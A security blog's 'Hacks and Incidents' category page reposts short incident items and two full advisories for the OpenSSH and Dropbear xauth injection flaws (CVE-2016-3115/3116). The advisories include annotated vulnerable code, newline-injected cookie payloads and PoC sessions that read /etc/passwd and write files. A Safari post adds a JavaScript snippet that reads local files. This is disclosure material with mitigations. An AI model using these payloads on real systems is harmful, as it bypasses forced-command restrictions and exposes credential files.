Hacks and Incidents

Cryptocurrency and Smart-Contracts security fail: the Ethereum $59 Million hack

Ethers is a cryptocurrency designed to power smart-contracts, autonomous programs that define how an amount of money will behave. A simple race condition in a very large smart-contract code allowed an attacker to steal $59 million of value from the DAO account: Bitcoin’s Largest Competitor Hacked: Over $59 Million “Ethers” Stolen In Ongoing Attack. Details here More Ethereum Attacks: Race-To-Empty is the Real Deal and on Reddit.

 

I think TheDAO is getting drained right now from ethereum

Standard
Hacks and Incidents

Cisco ASA Exploit Released!

On February 2016 we sent an Early Warnings to our customers for a remote code execution (RCE) in Cisco ASA (CVE-2016-1287 or cisco-sa-20160210-asa-ike). Today a POC has been published:

https://github.com/exodusintel/disclosures/blob/master/CVE_2016_1287_PoC

You can fond more details on:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1287

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160210-asa-ike

https://blog.exodusintel.com/2016/02/10/firewall-hacking/

Standard
Hacks and Incidents, Security Techniques

Time to supercharge your restricted SSH accounts!

Time to hack restricted SSH accounts thanks to an injection in the “xauth” command! Not an exploit for everyone but CVE-2016-3115 and CVE-2016-3116 details have just been published on Full Disclosure, and they will be useful to a lot of people for sure :) If your remote provider gives you a restricted SSH access using a forced-command (git anyone?) OR interdict shell access by using /bin/false AND and x11-forwarding is enabled then you may be able to circumvent that limitations and gain interactive access.

[FD] CVE-2016-3115 – OpenSSH <=7.2p1 xauth injection

Author:     <github.com/tintinweb>
Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115
Version:    0.2
Date:       Mar 3rd, 2016

Tag:        openssh xauth command injection may lead to forced-command and /bin/false bypass

Overview
--------

Name:           openssh
Vendor:         OpenBSD
References:     * http://www.openssh.com/[1]

Version:        7.2p1 [2]
Latest Version: 7.2p1
Other Versions: <= 7.2p1 (all versions; dating back ~20 years)
Platform(s):    linux
Technology:     c

Vuln Classes:   CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin:         remote
Min. Privs.:    post auth

CVE:            CVE-2016-3115



Description
---------

quote website [1]

OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options.
Summary
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with the login shell
configured as /bin/false or one with configured forced-commands - to bypass
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.

Quick-Info:

* requires: X11Forwarding yes
* bypasses /bin/false and forced-commands
** OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear)
* does not bypass /bin/nologin (as there is special treatment for this)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


PoC see ref github.
Patch see ref github.


Details
-------

// see annotated code below

    * server_input_channel_req (serverloop.c)
     *- session_input_channel_req:2299 (session.c [2])
      *- session_x11_req:2181

    * do_exec_pty or do_exec_no_pty
     *- do_child
      *- do_rc_files (session.c:1335 [2])

Upon receiving an `x11-req` type channel request sshd parses the channel request
parameters `auth_proto` and `auth_data` from the client ssh packet where
`auth_proto` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `auth_data` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, sshd will
call `do_rc_files` which tries to figure out if this is an x11 call by evaluating
if `auth_proto` and `auth_data` (and `display`) are set. If that is the case AND
there is no system `/sshrc` existent on the server AND it no user-specific `$HOME/.ssh/rc`
is set, then `do_rc_files` will run `xauth -q -` and pass commands via `stdin`.
Note that `auth_data` nor `auth_proto` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

Sidenote #1: in case sshd takes the `$HOME/.ssh/rc` branch, it will pass the tainted
input as arguments to that script.
Sidenote #2: client code also seems to not sanitize `auth_data`, `auth_proto`. [3]

This is an excerpt of the `man xauth` [4] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`


/*
 * Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found
 * first in this order).
 */
static void
do_rc_files(Session *s, const char *shell)
{
...
		snprintf(cmd, sizeof cmd, "%s -q -",				
		    options.xauth_location);
		f = popen(cmd, "w");							//#! run xauth -q -
		if (f) {
			fprintf(f, "remove %s\n",					//#! remove <user_tainted_data> - injecting \n auth_display injects xauth command
			    s->auth_display);
			fprintf(f, "add %s %s %s\n",				//#! \n injection
			    s->auth_display, s->auth_proto,
			    s->auth_data);
			pclose(f);
		} else {
			fprintf(stderr, "Could not run %s\n",
			    cmd);
		}
	}
}

Proof of Concept
----------------

Prerequisites:

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* make sure `poc.py`


 Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


poc:

1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`:

#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

#cat /etc/passwd
user2:x:1001:1002:,,,:/home/user2:/bin/false
	
2. run sshd with `X11Forwarding yes` (kali default config)

#> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d

3. `forced-commands` - connect with user1 and display env information

#> python <host> 22 user1 .demoprivkey

INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box

INFO:__main__:connecting to: user1:<PKEY>@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/user1/.Xauthority
File new:             no
File locked:          no
Number of entries:    1
Changes honored:      yes
Changes made:         no
Current input:        (stdin):3
/usr/bin/xauth: (stdin):2:  bad "add" command line
...
		
4. `forced-commands` - read `/etc/passwd`

...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

5. `forced-commands` - write `/tmp/testfile`

#> .writefile /tmp/testfile `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:/usr/bin/xauth: (stdin):2:  bad "add" command line

#> ls -lsat /tmp/testfile
4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile

#> cat /tmp/testfile
\FA65500hi\FA65500`thisisatestfile`\AA

6. `/bin/false` - connect and read `/etc/passwd`

#> python <host> 22 user2 user2password
INFO:__main__:connecting to: user2:user2password@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
user2:x:1001:1002:,,,:/home/user2:/bin/false
...
	
7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100

#> generate 8.8.8.8:100 .	

#> tcpdump
IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0
	

Mitigation / Workaround
------------------------

* disable x11-forwarding: `sshd_config` set `X11Forwarding no`
* disable x11-forwarding for specific user with forced-commands: `no-x11-forwarding` in `authorized_keys`

Notes
-----

Verified, resolved and released within a few days. very impressive.

Vendor response: see advisory [5]

References
----------

[1] http://www.openssh.com/
[2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388
[3] https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376
[4] http://linux.die.net/man/1/xauth
[5] http://www.openssh.com/txt/x11fwd.adv

[FD] CVE-2016-3116 – Dropbear SSH xauth injection

Author:     <github.com/tintinweb>
Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
Version:    0.2
Date:       Mar 3rd, 2016

Tag:        dropbearsshd xauth command injection may lead to forced-command bypass

Overview
--------

Name:           dropbear
Vendor:         Matt Johnston
References:     * https://matt.ucc.asn.au/dropbear/dropbear.html [1]

Version:        2015.71
Latest Version: 2015.71
Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
Platform(s):    linux
Technology:     c

Vuln Classes:   CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin:         remote
Min. Privs.:    post auth

CVE:            CVE-2016-3116



Description
---------

quote website [1]

Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
Summary
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.

Quick-Info:

* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


PoC see ref github.


Details
-------

// see annotated code below

    * x11req (svr-x11fwd.c:46)

    * execchild (svr-chansession.c:893)
     *- x11setauth (svr-x11fwd.c:129)

Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`

* handle x11 request, stores cookie in `chansess`
	
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {

	int fd;

	/* we already have an x11 connection */
	if (chansess->x11listener != NULL) {
		return DROPBEAR_FAILURE;
	}

	chansess->x11singleconn = buf_getbyte(ses.payload);
	chansess->x11authprot = buf_getstring(ses.payload, NULL);			//#! store user tainted data
	chansess->x11authcookie = buf_getstring(ses.payload, NULL);			//#! store user tainted data
	chansess->x11screennum = buf_getint(ses.payload);

* set auth cookie/authprot

/* This is called after switching to the user, and sets up the xauth
 * and environment variables.  */
void x11setauth(struct ChanSess *chansess) {

	char display[20]; /* space for "localhost:12345.123" */
	FILE * authprog = NULL;
	int val;

	if (chansess->x11listener == NULL) {
		return;
	}

	...

	/* popen is a nice function - code is strongly based on OpenSSH's */
	authprog = popen(XAUTH_COMMAND, "w");										//#!  run xauth binary
	if (authprog) {
		fprintf(authprog, "add %s %s %s\n",
				display, chansess->x11authprot, chansess->x11authcookie);		//#!  \n injection in cookie, authprot
		pclose(authprog);
	} else {
		fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
	}
}

Proof of Concept
----------------

Prerequisites:

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`

Note: see cve-2016-3115 [3] for `poc.py`

 Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


poc:

1. configure one user (user1) for `force-commands`:

#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

#cat /etc/passwd
user1:x:1001:1001:,,,:/home/user1:/bin/bash
	
2. run dropbearsshd (x11fwd is on by default)

#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
[22861] Not backgrounding
[22862] Child connection from 192.168.139.1:49597
[22862] Forced command 'whoami'
[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
		

3. `forced-commands` - connect with user1 and display env information

#> python <host> 22 user1 .demoprivkey

INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box

INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/user1/.Xauthority
File new:             no
File locked:          no
Number of entries:    2
Changes honored:      yes
Changes made:         no
Current input:        (stdin):2
user1
/usr/bin/xauth: (stdin):1:  bad "add" command line
...
		
4. `forced-commands` - read `/etc/passwd`

...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
		
5. `forced-commands` - write `/tmp/testfile`

#> .writefile /tmp/testfile1 `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:user1
/usr/bin/xauth: (stdin):1:  bad "add" command line

#> INFO:__main__:/tmp/testfile1

#> ls -lsat /tmp/testfile1
4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1

#> cat /tmp/testfile1
\FA65500hi\FA65500`thisisatestfile`\AAr
	
	
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100

#> generate 8.8.8.8:100
DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:user1
/usr/bin/xauth: (stdin):1:  bad "add" command line
/usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".

#> tcpdump
IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
	

Mitigation / Workaround
------------------------

* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`

Notes
-----

Thanks to the OpenSSH team for coordinating the fix!

Vendor response see: changelog [4]


References
----------

[1] https://matt.ucc.asn.au/dropbear/dropbear.html
[2] http://linux.die.net/man/1/xauth
[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
[4] https://matt.ucc.asn.au/dropbear/CHANGES
Standard
Hacks and Incidents

JBoss JMXInvokerServlet Remote Command Execution

JBoss JMXInvokerServlet Remote Command Execution: This code exploits a common misconfiguration in JBoss Application Server. Whenever the JMX Invoker is exposed with the default configuration, a malicious “MarshalledInvocation” serialized Java object allows to execute arbitrary code. This exploit works even if the “Web-Console” and the “JMX Console” are protected or disabled.

Standard
Hacks and Incidents

Safari FILE: scheme security hole

Safari FILE: scheme security hole: It appears that Safari does not enforce any kind of access
restrictions for XMLHTTPRequests on FILE: scheme URLs. As a result, any HTML file on the local file system that is opened in Safari can read any file that the user has access to (and, of
course, it can upload those files too). Here’s a little proof-of-concept. Copy and paste this into a local HTML file and open it in Safari. It will display the contents of /etc/passwd.

<script src=https://code.jquery.com/jquery-2.1.3.min.js></script>
<script>
$.ajax({url: ‘/etc/passwd’}).done(function (s) {
$(‘body’).html(‘<pre>’ + s + ‘</pre>’);
});
</script>

Tested on Safari 7.1.4. FF and Chrome do not appear to have this problem.

UPDATE: Turns out this is a known problem:

https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format

Standard
Hacks and Incidents

stealth/troubleshooter

stealth/troubleshooter: Abstract: This paper demonstrates vulnerabilities within the SELinux framework as well as shortcomings in the type enforcement setup. I will show how to deconstruct a SELinux setup with some simple 80’s style exploit techniques. While reading this paper, I recommend listening to this music from the year of morrisworm.

When in 2012 the SELinux developers analyzed the behaivior of an exploit that was not designed to run on a SELinux system at page 32 of these slides – it triggered a review-selector for SELinux and I put it to the list of my audit targets. Not surprisingly, GingerBreak lost that “competition”, just because it was not made for it. Using my QUANTUM AUDIT techniques I was now able to have a deeper look into SELinux itself to see whether the claims that were made really hold.

Standard
Hacks and Incidents

This String of 13 Characters Can Crash your Chrome on a Mac

This String of 13 Characters Can Crash your Chrome on a Mac: If you’re currently on a Mac computer and using a Chrome browser then a weird little Apple’s OS X quirk, just a special thirteen-characters string could cause your tab in Chrome to crash instantly.
A string of 13 characters (appear to be in Assyrian), shown below in an image, is all needed to crash any tab in Chrome for OS X, however, this text has no impact on Windows, Android, or iOS operating systems.

This Chrome crash vulnerability has already been reported by an open-source project Chromium project, which means that Google is likely aware of this troublesome issue.

Standard
Hacks and Incidents

The old is new, again: CVE-2011-2461

Nibble Security: The old is new, again. CVE-2011-2461: As part of an ongoing investigation on Adobe Flash SOP bypass techniques, we identified a vulnerability affecting old releases of the Adobe Flex SDK compiler. Further investigation traced the issue back to a known vulnerability (CVE-2011-2461), already patched by Adobe in apsb11-25.

Old vulnerability, bad luck, let’s move on. Not this time.

The particularity of CVE-2011-2461 is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plugin.

As soon as we understood the potential risk, we conducted a large-scale analysis by locating SWFs hosted on popular websites and analyzing those files with a custom tool capable of detecting vulnerable code patterns. This research has led to the identification of numerous websites vulnerable to CVE-2011-2461, including 3 sites out of the Alexa Top 10.

Standard
Hacks and Incidents

How “omnipotent” hackers tied to NSA hid for 14 years—and were found at last

How “omnipotent” hackers tied to NSA hid for 14 years—and were found at last: In 2009, one or more prestigious researchers received a CD by mail that contained pictures and other materials from a recent scientific conference they attended in Houston. The scientists didn’t know it then, but the disc also delivered a malicious payload developed by a highly advanced hacking operation that had been active since at least 2001. The CD, it seems, was tampered with on its way through the mail.

It wasn’t the first time the operators—dubbed the “Equation Group” by researchers from Moscow-based Kaspersky Lab—had secretly intercepted a package in transit, booby-trapped its contents, and sent it to its intended destination. In 2002 or 2003, Equation Group members did something similar with an Oracle database installation CD in order to infect a different target with malware from the group’s extensive library. (Kaspersky settled on the name Equation Group because of members’ strong affinity for encryption algorithms, advanced obfuscation methods, and sophisticated techniques.)

Kaspersky researchers have documented 500 infections by Equation Group in at least 42 countries, with Iran, Russia, Pakistan, Afghanistan, India, Syria, and Mali topping the list. Because of a self-destruct mechanism built into the malware, the researchers suspect that this is just a tiny percentage of the total; the actual number of victims likely reaches into the tens of thousands.

Standard
Hacks and Incidents

USB Killer

USB Killer: It was a usual gloomy winter morning. My colleagues and I were drinking our morning coffee, sharing the news and there were no signs of trouble. But then a friend told about…

(a quote from a chat in Skype):

I read an article about how a dude in the subway fished out a USB flash drive from the outer pocket of some guy’s bag. The USB drive had “128” written on it. He came home, inserted it into his laptop and burnt half of it down. He wrote “129” on the USB drive and now has it in the outer pocket of his bag…

Standard